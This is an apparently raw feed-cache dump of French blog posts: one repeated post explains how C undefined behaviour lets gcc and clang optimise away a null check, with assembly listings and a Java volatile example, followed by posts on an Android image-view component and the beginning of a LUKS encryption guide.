main:
.LFB11:
    .cfi_startproc
    cmpl    $1, %edi          ; if (argc == 1)
    je  .L2                   ;    goto .L2
    subq    $8, %rsp
    .cfi_def_cfa_offset 16
    movl    $4, %edi          ; arg0 = 4  // sizeof(int)
    call    malloc            ; tmp = malloc(4)
    movq    %rax, %rdx        ; i = tmp
    movl    $42, (%rax)       ; *i = 42
    movl    $1, %eax          ; ret = 1
    testq   %rdx, %rdx        ; if (!i)
    je  .L5                   ;    goto .L5
    movl    $42, %esi         ; arg1 = 42
    movl    $.LC0, %edi       ; arg0 points to "pwnd %d\n"
    movl    $0, %eax
    call    printf            ; printf("pwnd %d\n", 42)
    movl    $0, %eax          ; ret = 0
    jmp .L5                   ; goto .L5
.L2:
    .cfi_def_cfa_offset 8
    movl    $42, 0            ; segfault (dereference addr 0)
    movl    $1, %eax          ; ret = 1
    ret
.L5:
    .cfi_def_cfa_offset 16
    addq    $8, %rsp
    .cfi_def_cfa_offset 8
    ret                       ; return ret
    .cfi_endproc
.LFE11:
    .size   main, .-main
    .ident  "GCC: (Debian 4.7.2-5) 4.7.2"
    .section    .note.GNU-stack,"",@progbits

Là, le compilateur a réorganisé le code. Si je devais le retraduire en C, j’écrirais ceci :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    if (argc == 1)
        *((int *) NULL) = 42;
    int *i = malloc(sizeof(int));
    *i = 42;
    if (!i)
        return 1;
    printf("pwnd %d\n", 42);
    return 0;
}

Ce qui est amusant, c’est qu’il alloue de la mémoire pour stocker i, il lui affecte la valeur 42… mais ne la lit jamais. En effet, il a décidé de recoder en dur 42 pour le paramètre du printf.

Mais avec ce résultat, impossible d’atteindre le printf si argc == 1.

Avec gcc -O2

Optimisons davantage :

gcc -O2 -S undefined.c

Ou, plus précisément (avec gcc 4.9.1 par exemple, l’option -O2 ne suffit pas) :

gcc -O -ftree-vrp -fdelete-null-pointer-checks -S undefined.c

(les options d’optimisation sont décrites dans la doc).

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
    .file   "undefined.c"
    .section    .rodata.str1.1,"aMS",@progbits,1
.LC0:
    .string "pwnd %d\n"
    .section    .text.startup,"ax",@progbits
    .p2align 4,,15
    .globl  main
    .type   main, @function
main:
.LFB11:
    .cfi_startproc
    subq    $8, %rsp
    .cfi_def_cfa_offset 16
    movl    $42, %esi         ; arg1 = 42
    movl    $.LC0, %edi       ; arg2 points to "pwnd %d\n"
    xorl    %eax, %eax
    call    printf            ; printf("pwnd %d\n", 42)
    xorl    %eax, %eax        ; ret = 0
    addq    $8, %rsp
    .cfi_def_cfa_offset 8
    ret                       ; return ret
    .cfi_endproc
.LFE11:
    .size   main, .-main
    .ident  "GCC: (Debian 4.7.2-5) 4.7.2"
    .section    .note.GNU-stack,"",@progbits

Là, l’optimisation donne un résultat beaucoup plus direct :

#include <stdio.h>

int main(int argc, char *argv[]) {
    printf("pwnd %d\n", 42);
    return 0;
}

Quel raisonnement a-t-il pu suivre pour obtenir ce résultat ? Par exemple le suivant.

Lorsqu’il rencontre la ligne 6 de undefined.c, soit i est NULL, soit i n’est pas NULL. Le compilateur sait que déréférencer un pointeur NULL est indéfini. Il n’a donc pas à gérer ce cas. Il considère donc que i est forcément non-NULL.

Mais alors, à quoi bon tester si i est non-NULL ligne 7 ? Le test ne sert à rien. Donc il le supprime.

Ce raisonnement permet de transformer le code ainsi :

#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    int *i = argc == 1 ? NULL : malloc(sizeof(int));
    *i = 42;
    printf("pwnd %d\n", *i);
    return 0;
}

Mais ce n’est pas tout. Le compilateur sait que i n’est pas NULL, donc il peut considérer que le malloc a lieu. Et allouer un entier en mémoire, écrire 42 dedans, puis lire la valeur cet entier plus tard, ça se simplifie beaucoup : juste lire 42, sans allouer de mémoire.

Ce qu’il simplifie en :

    printf("pwnd %d\n", 42);

CQFD

Avec clang -02

Il est intéressant d’observer ce que produit un autre compilateur : Clang.

clang -O2 -S undefined.c

Voici le résultat :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
    .file   "undefined.c"
    .text
    .globl  main
    .align  16, 0x90
    .type   main,@function
main:                                   # @main
.Ltmp2:
    .cfi_startproc
# BB#0:
    pushq   %rbp
.Ltmp3:
    .cfi_def_cfa_offset 16
.Ltmp4:
    .cfi_offset %rbp, -16
    movq    %rsp, %rbp
.Ltmp5:
    .cfi_def_cfa_register %rbp
    cmpl    $1, %edi          ; if (argc == 1)
    je  .LBB0_4               ;     goto .LBB0_4
# BB#1:
    movl    $4, %edi          ; arg0 = 4  //sizeof(int)
    callq   malloc            ; tmp = malloc(4)
    movq    %rax, %rcx        ; i = tmp
    movl    $42, (%rcx)       ; *i = 42
    movl    $1, %eax          ; ret = 1
    testq   %rcx, %rcx        ; if (!i)
    je  .LBB0_3               ;     goto .LBB0_3
# BB#2:
    movl    $.L.str, %edi     ; arg0 points to "pwnd %d\n"
    movl    $42, %esi         ; arg1 = 42
    xorb    %al, %al
    callq   printf            ; printf("pwnd %d\n", *i)
    xorl    %eax, %eax        ; ret = 0
.LBB0_3:
    popq    %rbp
    ret                       ; return ret
.LBB0_4:                                # %.thread
    ud2                       ; undefined instruction
.Ltmp6:
    .size   main, .Ltmp6-main
.Ltmp7:
    .cfi_endproc
.Leh_func_end0:

    .type   .L.str,@object          # @.str
    .section    .rodata.str1.1,"aMS",@progbits,1
.L.str:
    .asciz   "pwnd %d\n"
    .size   .L.str, 9


    .section    ".note.GNU-stack","",@progbits

Il réalise les mêmes optimisations que gcc -O, sauf qu’il génère une erreur explicite grâce à l’instruction machine ud2.

#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    if (argc == 1)
        ud2(); /* hardware undefined instruction */
    int *i = malloc(sizeof(int));
    *i = 42;
    if (!i)
        return 1;
    printf("pwnd %d\n", 42);
    return 0;
}

Étonnamment, Clang ne prend jamais la décision de supprimer le malloc.

Par contre, avec une version suffisamment récente (ça marche avec Clang 3.5.0), il est possible d’ajouter des vérifications lors de l’exécution :

$ clang -fsanitize=null undefined.c && ./a.out
undefined.c:6:5: runtime error: store to null pointer of type 'int'
Erreur de segmentation

Ça peut être pratique pour détecter des problèmes. Et puis des NullPointerExceptions en C, ça fait rêver, non ?

À retenir

Si un programme contient un comportement indéfini, alors son comportement est indéfini. Pas juste la ligne en question. Pas juste les lignes qui suivent la ligne en question. Le programme. Même s’il fonctionne maintenant sur votre machine avec votre version de compilateur.

Somebody once told me that in basketball you can’t hold the ball and run. I got a basketball and tried it and it worked just fine. He obviously didn’t understand basketball.

(source)

Pour aller plus loin et étudier d’autres exemples, je vous recommande la lecture des articles suivants (en anglais) :

Optimisations multi-threadées

Les comportements indéfinis font partie intégrante du C et du C++. Mais même dans des langages de plus haut niveau, il existe des comportements indéfinis (pas de même nature, je vous l’accorde), notamment lorsque plusieurs threads s’exécutent en parallèle.

Pour garantir certains comportements, il faut utiliser des mécanismes de synchronisation. Dans une vie antérieure, j’avais présenté certains de ces mécanismes en Java.

Mais une erreur courante est de penser que la synchronisation ne fait que garantir l’atomicité avec des sections critiques. En réalité, c’est plus complexe que cela. D’une part, elle ajoute des barrières mémoire empêchant certaines réorganisations des instructions (ce qui explique pourquoi le double-checked locking pour écrire des singletons est faux). D’autre part, elle permet de synchroniser les caches locaux des threads, sans quoi l’exemple suivant (inspiré d’ici) est incorrect :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
public class VisibilityTest extends Thread {

    boolean keepRunning = true;

    public static void main(String... args) throws Exception {
        VisibilityTest thread = new VisibilityTest();
        thread.start();
        Thread.sleep(1000);
        thread.keepRunning = false;
        System.out.println(System.currentTimeMillis() +
                           ": keepRunning false");
    }

    @Override
    public void run() {
        System.out.println(System.currentTimeMillis() + ": start");
        while (keepRunning);
        System.out.println(System.currentTimeMillis() + ": end");
    }

}

Pour le compiler et l’exécuter :

javac VisibilityTest.java && java VisibilityTest

Sans synchronisation, il est très fort probable que le thread démarré ne se termine jamais, voyant toujours keepRunning à true, même si le thread principal lui a donné la valeur false.

Là encore, c’est une optimisation (la mise en cache d’une variable) qui provoque ce comportement « inattendu » sans synchronisation.

Déclarer keepRunning volatile suffit à résoudre le problème.

Conclusion

La notion de comportement indéfini est très importante pour améliorer la performance des programmes. Mais elle est source de bugs parfois difficiles à
Erreur de segmentation

";s:7:"dateiso";s:15:"20141022_024159";}s:15:"20141022_004159";a:7:{s:5:"title";s:38:"Comportement indéfini et optimisation";s:4:"link";s:69:"https://blog.rom1v.com/2014/10/comportement-indefini-et-optimisation/";s:4:"guid";s:68:"https://blog.rom1v.com/2014/10/comportement-indefini-et-optimisation";s:7:"pubDate";s:25:"2014-10-22T00:41:59+02:00";s:11:"description";s:0:"";s:7:"content";s:49406:"

Dans certains langages (typiquement C et C++), la sémantique de certaines opérations est indéfinie. Cela permet au compilateur de ne s’intéresser qu’aux cas qui sont définis (et donc de les optimiser) sans s’occuper des effets produits sur les cas indéfinis.

C’est un concept très précieux pour améliorer sensiblement les performances. Mais cela peut avoir des effets surprenants. Si le résultat de votre programme dépend d’un comportement indéfini (undefined behavior) particulier, alors votre programme complet n’a pas de sens, et le compilateur a le droit de faire ce qu’il veut. Et il ne s’en prive pas !

Programme indéfini

Par exemple, déréférencer un pointeur NULL) est un comportement indéfini. En effet, contrairement à ce que beaucoup pensent, l’exécution du programme ne va pas forcément provoquer une erreur de segmentation.

J’ai écrit un petit programme tout simple (undefined.c) :

#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    int *i = argc == 1 ? NULL : malloc(sizeof(int));
    *i = 42;
    if (!i)
        return 1;
    printf("pwnd %d\n", *i);
    return 0;
}

Si argc vaut 1 (c’est-à-dire si nous appelons l’exécutable sans passer d’arguments de la ligne de commande), alors le pointeur i est NULL (ligne 5).

Cette ligne peut paraître étrange, mais elle permet de faire dépendre i d’une valeur connue uniquement à l’exécution (argc), ce qui évite au compilateur de savoir à l’avance que i est NULL.

La ligne 6 (*i = 42) est donc incorrecte : nous n’avons pas le droit de déréférencer un pointeur NULL. Nous nous attendons donc souvent à une erreur de segmentation.

Mais suite à ce que je viens de vous dire, admettons que ce ne soit pas le cas, et que nous arrivions quand même sur la ligne suivante (7). Ici, si i est NULL, la fonction se termine (en retournant 1, ligne 8).

Donc il n’y a donc aucun moyen d’afficher le contenu du printf ligne 9.

Et bien… en fait, si !

Exécution

Essayons (j’utilise gcc 4.7.2 packagé dans Debian Wheezy en amd64, les résultats peuvent différer avec un autre compilateur ou une autre version de gcc) :

$ gcc -Wall undefined.c
$ ./a.out          # argc == 1
Erreur de segmentation
$ ./a.out hello    # argc == 2
pwnd 42

Jusqu’ici, tout va bien. Maintenant, activons des optimisations de compilation :

$ gcc -Wall -O2 undefined.c
$ ./a.out          # argc == 1
pwnd 42

Voilà, nous avons réussi à exécuter le printf alors que argc == 1.

Que s’est-il passé ?

Assembleur

Pour le comprendre, il faut regarder le code généré en assembleur, sans et avec optimisations.

Sans optimisation

Pour générer le résultat de la compilation sans assembler (et donc obtenir un fichier source assembleur undefined.s) :

gcc -S undefined.c

J’ai commenté les parties importantes :

    .file   "undefined.c"
    .section    .rodata
.LC0:
    .string "pwnd %d\n"
    .text
    .globl  main
    .type   main, @function
main:
.LFB0:
    .cfi_startproc
    pushq   %rbp
    .cfi_def_cfa_offset 16
    .cfi_offset 6, -16
    movq    %rsp, %rbp
    .cfi_def_cfa_register 6
    subq    $32, %rsp
    movl    %edi, -20(%rbp)
    movq    %rsi, -32(%rbp)
    cmpl    $1, -20(%rbp)     ; if (argc == 1)
    je  .L2                   ;     goto .L2
    movl    $4, %edi          ; arg0 = 4  // sizeof(int)
    call    malloc            ; tmp = malloc(4)
    jmp .L3                   ; goto .L3
.L2:
    movl    $0, %eax
.L3:
    movq    %rax, -8(%rbp)    ; i = tmp
    movq    -8(%rbp), %rax
    movl    $42, (%rax)       ; *i = 42
    cmpq    $0, -8(%rbp)      ; if (!i)
    jne .L4                   ;    goto .L4
    movl    $1, %eax          ; ret = 1
    jmp .L5
.L4:
    movq    -8(%rbp), %rax
    movl    (%rax), %eax
    movl    %eax, %esi        ; arg1 = *i
    movl    $.LC0, %edi       ; arg0 points to "pwnd %d\n"
    movl    $0, %eax
    call    printf            ; printf("pwnd %d\n", *i)
    movl    $0, %eax          ; ret = 0
.L5:
    leave
    .cfi_def_cfa 7, 8
    ret                       ; return ret
    .cfi_endproc
.LFE0:
    .size   main, .-main
    .ident  "GCC: (Debian 4.7.2-5) 4.7.2"
    .section    .note.GNU-stack,"",@progbits

Le code généré est très fidèle au code source C.

Avec gcc -O

Maintenant, activons certaines optimisations :

gcc -O -S undefined.c

Ce qui donne :

    .file   "undefined.c"
    .section    .rodata.str1.1,"aMS",@progbits,1
.LC0:
    .string "pwnd %d\n"
    .text
    .globl  main
    .type   main, @function
main:
.LFB11:
    .cfi_startproc
    cmpl    $1, %edi          ; if (argc == 1)
    je  .L2                   ;    goto .L2
    subq    $8, %rsp
    .cfi_def_cfa_offset 16
    movl    $4, %edi          ; arg0 = 4  // sizeof(int)
    call    malloc            ; tmp = malloc(4)
    movq    %rax, %rdx        ; i = tmp
    movl    $42, (%rax)       ; *i = 42
    movl    $1, %eax          ; ret = 1
    testq   %rdx, %rdx        ; if (!i)
    je  .L5                   ;    goto .L5
    movl    $42, %esi         ; arg1 = 42
    movl    $.LC0, %edi       ; arg0 points to "pwnd %d\n"
    movl    $0, %eax
    call    printf            ; printf("pwnd %d\n", 42)
    movl    $0, %eax          ; ret = 0
    jmp .L5                   ; goto .L5
.L2:
    .cfi_def_cfa_offset 8
    movl    $42, 0            ; segfault (dereference addr 0)
    movl    $1, %eax          ; ret = 1
    ret
.L5:
    .cfi_def_cfa_offset 16
    addq    $8, %rsp
    .cfi_def_cfa_offset 8
    ret                       ; return ret
    .cfi_endproc
.LFE11:
    .size   main, .-main
    .ident  "GCC: (Debian 4.7.2-5) 4.7.2"
    .section    .note.GNU-stack,"",@progbits

Là, le compilateur a réorganisé le code. Si je devais le retraduire en C, j’écrirais ceci :

#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    if (argc == 1)
        *((int *) NULL) = 42;
    int *i = malloc(sizeof(int));
    *i = 42;
    if (!i)
        return 1;
    printf("pwnd %d\n", 42);
    return 0;
}

Ce qui est amusant, c’est qu’il alloue de la mémoire pour stocker i, il lui affecte la valeur 42… mais ne la lit jamais. En effet, il a décidé de recoder en dur 42 pour le paramètre du printf.

Mais avec ce résultat, impossible d’atteindre le printf si argc == 1.

Avec gcc -O2

Optimisons davantage :

gcc -O2 -S undefined.c

Ou, plus précisément (avec gcc 4.9.1 par exemple, l’option -O2 ne suffit pas) :

gcc -O -ftree-vrp -fdelete-null-pointer-checks -S undefined.c

(les options d’optimisation sont décrites dans la doc).

    .file   "undefined.c"
    .section    .rodata.str1.1,"aMS",@progbits,1
.LC0:
    .string "pwnd %d\n"
    .section    .text.startup,"ax",@progbits
    .p2align 4,,15
    .globl  main
    .type   main, @function
main:
.LFB11:
    .cfi_startproc
    subq    $8, %rsp
    .cfi_def_cfa_offset 16
    movl    $42, %esi         ; arg1 = 42
    movl    $.LC0, %edi       ; arg2 points to "pwnd %d\n"
    xorl    %eax, %eax
    call    printf            ; printf("pwnd %d\n", 42)
    xorl    %eax, %eax        ; ret = 0
    addq    $8, %rsp
    .cfi_def_cfa_offset 8
    ret                       ; return ret
    .cfi_endproc
.LFE11:
    .size   main, .-main
    .ident  "GCC: (Debian 4.7.2-5) 4.7.2"
    .section    .note.GNU-stack,"",@progbits

Là, l’optimisation donne un résultat beaucoup plus direct :

#include <stdio.h>

int main() {
    printf("pwnd %d\n", 42);
    return 0;
}

Quel raisonnement a-t-il pu suivre pour obtenir ce résultat ? Par exemple le suivant.

Lorsqu’il rencontre la ligne 6 de undefined.c, soit i est NULL, soit i n’est pas NULL. Le compilateur sait que déréférencer un pointeur NULL est indéfini. Il n’a donc pas à gérer ce cas. Il considère donc que i est forcément non-NULL.

Mais alors, à quoi bon tester si i est non-NULL ligne 7 ? Le test ne sert à rien. Donc il le supprime.

Ce raisonnement permet de transformer le code ainsi :

#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    int *i = argc == 1 ? NULL : malloc(sizeof(int));
    *i = 42;
    printf("pwnd %d\n", *i);
    return 0;
}

Mais ce n’est pas tout. Le compilateur sait que i n’est pas NULL, donc il peut considérer que le malloc a lieu. Et allouer un entier en mémoire, écrire 42 dedans, puis lire la valeur cet entier plus tard, ça se simplifie beaucoup : juste lire 42, sans allouer de mémoire.

Ce qu’il simplifie en :

printf("pwnd %d\n", 42);

CQFD.

Avec clang -02

Il est intéressant d’observer ce que produit un autre compilateur : Clang.

clang -O2 -S undefined.c

Voici le résultat :

    .file   "undefined.c"
    .text
    .globl  main
    .align  16, 0x90
    .type   main,@function
main:                                   # @main
.Ltmp2:
    .cfi_startproc
# BB#0:
    pushq   %rbp
.Ltmp3:
    .cfi_def_cfa_offset 16
.Ltmp4:
    .cfi_offset %rbp, -16
    movq    %rsp, %rbp
.Ltmp5:
    .cfi_def_cfa_register %rbp
    cmpl    $1, %edi          ; if (argc == 1)
    je  .LBB0_4               ;     goto .LBB0_4
# BB#1:
    movl    $4, %edi          ; arg0 = 4  //sizeof(int)
    callq   malloc            ; tmp = malloc(4)
    movq    %rax, %rcx        ; i = tmp
    movl    $42, (%rcx)       ; *i = 42
    movl    $1, %eax          ; ret = 1
    testq   %rcx, %rcx        ; if (!i)
    je  .LBB0_3               ;     goto .LBB0_3
# BB#2:
    movl    $.L.str, %edi     ; arg0 points to "pwnd %d\n"
    movl    $42, %esi         ; arg1 = 42
    xorb    %al, %al
    callq   printf            ; printf("pwnd %d\n", *i)
    xorl    %eax, %eax        ; ret = 0
.LBB0_3:
    popq    %rbp
    ret                       ; return ret
.LBB0_4:                                # %.thread
    ud2                       ; undefined instruction
.Ltmp6:
    .size   main, .Ltmp6-main
.Ltmp7:
    .cfi_endproc
.Leh_func_end0:

    .type   .L.str,@object          # @.str
    .section    .rodata.str1.1,"aMS",@progbits,1
.L.str:
    .asciz   "pwnd %d\n"
    .size   .L.str, 9


    .section    ".note.GNU-stack","",@progbits

Il réalise les mêmes optimisations que gcc -O, sauf qu’il génère une erreur explicite grâce à l’instruction machine ud2.

#include <stdio.h>
#include <malloc.h>

int main(int argc, char *argv[]) {
    if (argc == 1)
        ud2(); /* hardware undefined instruction */
    int *i = malloc(sizeof(int));
    *i = 42;
    if (!i)
        return 1;
    printf("pwnd %d\n", 42);
    return 0;
}

Étonnamment, Clang ne prend jamais la décision de supprimer le malloc.

Par contre, avec une version suffisamment récente (ça marche avec Clang 3.5.0), il est possible d’ajouter des vérifications lors de l’exécution :

$ clang -fsanitize=null undefined.c && ./a.out
undefined.c:6:5: runtime error: store to null pointer of type 'int'
Erreur de segmentation

Ça peut être pratique pour détecter des problèmes. Et puis des NullPointerExceptions en C, ça fait rêver, non ?

À retenir

Si un programme contient un comportement indéfini, alors son comportement est indéfini. Pas juste la ligne en question. Pas juste les lignes qui suivent la ligne en question. Le programme. Même s’il fonctionne maintenant sur votre machine avec votre version de compilateur.

Somebody once told me that in basketball you can’t hold the ball and run. I got a basketball and tried it and it worked just fine. He obviously didn’t understand basketball.

(source)

Pour aller plus loin et étudier d’autres exemples, je vous recommande la lecture des articles suivants (en anglais) :

Optimisations multi-threadées

Les comportements indéfinis font partie intégrante du C et du C++. Mais même dans des langages de plus haut niveau, il existe des comportements indéfinis (pas de même nature, je vous l’accorde), notamment lorsque plusieurs threads s’exécutent en parallèle.

Pour garantir certains comportements, il faut utiliser des mécanismes de synchronisation. Dans une vie antérieure, j’avais présenté certains de ces mécanismes en Java.

Mais une erreur courante est de penser que la synchronisation ne fait que garantir l’atomicité avec des sections critiques. En réalité, c’est plus complexe que cela. D’une part, elle ajoute des barrières mémoire empêchant certaines réorganisations des instructions (ce qui explique pourquoi le double-checked locking pour écrire des singletons est faux). D’autre part, elle permet de synchroniser les caches locaux des threads, sans quoi l’exemple suivant (inspiré d’ici) est incorrect :

public class VisibilityTest extends Thread {

    boolean keepRunning = true;

    public static void main(String... args) throws Exception {
        VisibilityTest thread = new VisibilityTest();
        thread.start();
        Thread.sleep(1000);
        thread.keepRunning = false;
        System.out.println(System.currentTimeMillis() +
                           ": keepRunning false");
    }

    @Override
    public void run() {
        System.out.println(System.currentTimeMillis() + ": start");
        while (keepRunning);
        System.out.println(System.currentTimeMillis() + ": end");
    }
}

Pour le compiler et l’exécuter :

javac VisibilityTest.java && java VisibilityTest

Sans synchronisation, il est très fort probable que le thread démarré ne se termine jamais, voyant toujours keepRunning à true, même si le thread principal lui a donné la valeur false.

Là encore, c’est une optimisation (la mise en cache d’une variable) qui provoque ce comportement “inattendu” sans synchronisation.

Déclarer keepRunning volatile suffit à résoudre le problème.

Conclusion

La notion de comportement indéfini est très importante pour améliorer la performance des programmes. Mais elle est source de bugs parfois difficiles à

Erreur de segmentation

";s:7:"dateiso";s:15:"20141022_004159";}s:15:"20141020_204834";a:7:{s:5:"title";s:30:"AImageView (composant Android)";s:4:"link";s:59:"http://blog.rom1v.com/2014/10/aimageview-composant-android/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4871";s:7:"pubDate";s:31:"Mon, 20 Oct 2014 18:48:34 +0000";s:11:"description";s:401:"Pour afficher une image sur Android, le SDK contient un composant ImageView. Cependant, son mécanisme de configuration du redimensionnement de l’image (ScaleType) me semble déficient : il ne gère pas tous les cas courants ; le choix de la bonne constante (si elle existe) n’est pas toujours très intuitif. J’ai donc écrit un composant AImageView (qui hérite […]";s:7:"content";s:7781:"

android

Pour afficher une image sur Android, le SDK contient un composant ImageView.

Cependant, son mécanisme de configuration du redimensionnement de l’image (ScaleType) me semble déficient :

J’ai donc écrit un composant AImageView (qui hérite d’ImageView) avec un mécanisme alternatif au scale type.

Principes

AImageView propose 4 paramètres :

Actuellement, il préserve toujours le format d’image (aspect ratio).

Exemple d’utilisation

    <com.rom1v.aimageview.AImageView
        android:layout_width="match_parent"
        android:layout_height="match_parent"
        android:src="@drawable/myimage"
        app:xWeight="0.5"
        app:yWeight="0.5"
        app:fit="inside"
        app:scale="downscale|upscale" />

Ici, l’image va s’adapter à l’intérieur (inside) du composant (des marges seront ajoutées si nécessaires), exactement (l’image peut être réduite – downscale – ou agrandie – upscale – pour s’adapter) et sera centrée (0.5, 0.5).

Équivalences des scale types

Les constantes de ScaleType du composant standard ImageView correspondent en fait à des valeurs particulières de ces paramètres. Comme vous pourrez le constater, elles ne couvrent pas toutes les combinaisons, et ne sont pas toujours explicites…

ScaleType.CENTER

  app:xWeight="0.5"
  app:yWeight="0.5"
  app:scale="disabled"
  // app:fit ne fait rien quand scale vaut "disabled"

ScaleType.CENTER_CROP

  app:xWeight="0.5"
  app:yWeight="0.5"
  app:fit="outside"
  app:scale="downscale|upscale"

ScaleType.CENTER_INSIDE

  app:xWeight="0.5"
  app:yWeight="0.5"
  app:fit="inside"
  app:scale="downscale"

ScaleType.FIT_CENTER

  app:xWeight="0.5"
  app:yWeight="0.5"
  app:fit="inside"
  app:scale="downscale|upscale"

ScaleType.FIT_END

  app:xWeight="1"
  app:yWeight="1"
  app:fit="inside"
  app:scale="downscale|upscale"

ScaleType.FIT_START

  app:xWeight="0"
  app:yWeight="0"
  app:fit="inside"
  app:scale="downscale|upscale"

ScaleType.FIT_XY

Cette configuration ne peut pas être reproduite en utilisant les paramètres d’AImageView, car ce composant préserve toujours l’aspect ratio.

ScaleType.MATRIX

AImageView hérite d’ImageView et force le scaleType à ScaleType.MATRIX (pour redimensionner et déplacer l’image). Par conséquent, il n’y a pas d’équivalent, AImageView est basé dessus.

Composant

Le composant est disponible sous la forme d’un project library (sous licence GNU/LGPLv3 (plus maintenant) MIT):

git clone http://git.rom1v.com/AImageView.git

(miroir sur github)

Vous pouvez le compiler en fichier `.aar` grâce à la commande :

cd AImageView
./gradlew assembleRelease

Il sera généré dans library/build/outputs/aar/aimageview.aar.

J’ai aussi écrit une application de démo l’utilisant (avec tous les fichiers Gradle qui-vont-bien) :

git clone --recursive http://git.rom1v.com/AImageViewSample.git

(miroir sur github)

AImageViewSample

Pour compiler un apk de debug (par exemple) :

cd AImageViewSample
./gradlew assembleDebug

Pour ceux que le code intéresse, la classe principale est AImageView. Pour l’utiliser, la partie importante est dans activity_main.xml.

N’hésitez pas à critiquer ou à remonter des bugs.

";s:7:"dateiso";s:15:"20141020_204834";}s:15:"20141020_184834";a:7:{s:5:"title";s:30:"AImageView (composant Android)";s:4:"link";s:60:"https://blog.rom1v.com/2014/10/aimageview-composant-android/";s:4:"guid";s:59:"https://blog.rom1v.com/2014/10/aimageview-composant-android";s:7:"pubDate";s:25:"2014-10-20T18:48:34+02:00";s:11:"description";s:0:"";s:7:"content";s:10193:"

Pour afficher une image sur Android, le SDK contient un composant ImageView.

Cependant, son mécanisme de configuration du redimensionnement de l’image (ScaleType) me semble déficient :

J’ai donc écrit un composant AImageView (qui hérite d’ImageView) avec un mécanisme alternatif au scale type.

Principes

AImageView propose 4 paramètres :

Actuellement, il préserve toujours le format d’image (aspect ratio).

Exemple d’utilisation

<com.rom1v.aimageview.AImageView
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:src="@drawable/myimage"
    app:xWeight="0.5"
    app:yWeight="0.5"
    app:fit="inside"
    app:scale="downscale|upscale" />

Ici, l’image va s’adapter à l’intérieur (inside) du composant (des marges seront ajoutées si nécessaires), exactement (l’image peut être réduite – downscale – ou agrandie – upscale – pour s’adapter) et sera centrée (0.5, 0.5).

Équivalences des scale types

Les constantes de ScaleType du composant standard ImageView correspondent en fait à des valeurs particulières de ces paramètres. Comme vous pourrez le constater, elles ne couvrent pas toutes les combinaisons, et ne sont pas toujours explicites…

ScaleType.CENTER

<com.rom1v.aimageview.AImageView
    app:xWeight="0.5"
    app:yWeight="0.5"
    app:scale="disabled" />
<!-- app:fit ne fait rien quand scale vaut "disabled" -->

ScaleType.CENTER_CROP

<com.rom1v.aimageview.AImageView
    app:xWeight="0.5"
    app:yWeight="0.5"
    app:fit="outside"
    app:scale="downscale|upscale" />

ScaleType.CENTER_INSIDE

<com.rom1v.aimageview.AImageView
    app:xWeight="0.5"
    app:yWeight="0.5"
    app:fit="inside"
    app:scale="downscale" />

ScaleType.FIT_CENTER

<com.rom1v.aimageview.AImageView
    app:xWeight="0.5"
    app:yWeight="0.5"
    app:fit="inside"
    app:scale="downscale|upscale" />

ScaleType.FIT_END

<com.rom1v.aimageview.AImageView
    app:xWeight="1"
    app:yWeight="1"
    app:fit="inside"
    app:scale="downscale|upscale" />

ScaleType.FIT_START

<com.rom1v.aimageview.AImageView
    app:xWeight="0"
    app:yWeight="0"
    app:fit="inside"
    app:scale="downscale|upscale" />

ScaleType.FIT_XY

Cette configuration ne peut pas être reproduite en utilisant les paramètres d’AImageView, car ce composant préserve toujours l’aspect ratio.

ScaleType.MATRIX

AImageView hérite d’ImageView et force le scaleType à ScaleType.MATRIX (pour redimensionner et déplacer l’image). Par conséquent, il n’y a pas d’équivalent, AImageView est basé dessus.

Composant

Le composant est disponible sous la forme d’un project library (sous licence GNU/LGPLv3 (plus maintenant) MIT):

git clone http://git.rom1v.com/AImageView.git

(miroir sur github)

Vous pouvez le compiler en fichier .aar grâce à la commande :

cd AImageView
./gradlew assembleRelease

Il sera généré dans library/build/outputs/aar/aimageview.aar.

J’ai aussi écrit une application de démo l’utilisant (avec tous les fichiers Gradle qui-vont-bien) :

git clone --recursive http://git.rom1v.com/AImageViewSample.git

(miroir sur github)

AImageViewSample

Pour compiler un apk de debug (par exemple) :

cd AImageViewSample
./gradlew assembleDebug

Pour ceux que le code intéresse, la classe principale est AImageView. Pour l’utiliser, la partie importante est dans activity_main.xml.

N’hésitez pas à critiquer ou à remonter des bugs.

";s:7:"dateiso";s:15:"20141020_184834";}s:15:"20140720_230333";a:7:{s:5:"title";s:58:"Chiffrer un disque dur externe (ou une clé USB) avec LUKS";s:4:"link";s:86:"http://blog.rom1v.com/2014/07/chiffrer-un-disque-dur-externe-ou-une-cle-usb-avec-luks/";s:4:"guid";s:29:"http://blog.rom1v.com/?p=4826";s:7:"pubDate";s:31:"Sun, 20 Jul 2014 21:03:33 +0000";s:11:"description";s:396:"Un disque dur externe contenant vos données n’a pas de raisons de ne pas être chiffré. Voici quelques commandes utiles pour l’utilisation de LUKS. Prérequis Le paquet cryptsetup doit être installé : sudo apt-get install cryptsetup Initialisation Trouver le disque Tout d’abord, il faut déterminer l’emplacement du disque dur dans /dev. Pour cela, avant de […]";s:7:"content";s:8741:"

crypto
Un disque dur externe contenant vos données n’a pas de raisons de ne pas être chiffré. Voici quelques commandes utiles pour l’utilisation de LUKS.

Prérequis

Le paquet cryptsetup doit être installé :

sudo apt-get install cryptsetup

Initialisation

Trouver le disque

Tout d’abord, il faut déterminer l’emplacement du disque dur dans /dev. Pour cela, avant de le brancher, exécuter la commande :

sudo tail -f /var/log/messages

Lors du branchement du disque, plusieurs lignes similaires à celles-ci doivent apparaître :

Jul 20 21:25:29 pc kernel: [  678.139988] sd 7:0:0:0: [sdb] 976754645 4096-byte logical blocks: (4.00 TB/3.63 TiB)

Ici, [sdb] signifie que l’emplacement est /dev/sdb. Dans la suite, je noterai cet emplacement /dev/XXX.

Il est très important de ne pas se tromper d’emplacement, afin de ne pas formater un autre disque…

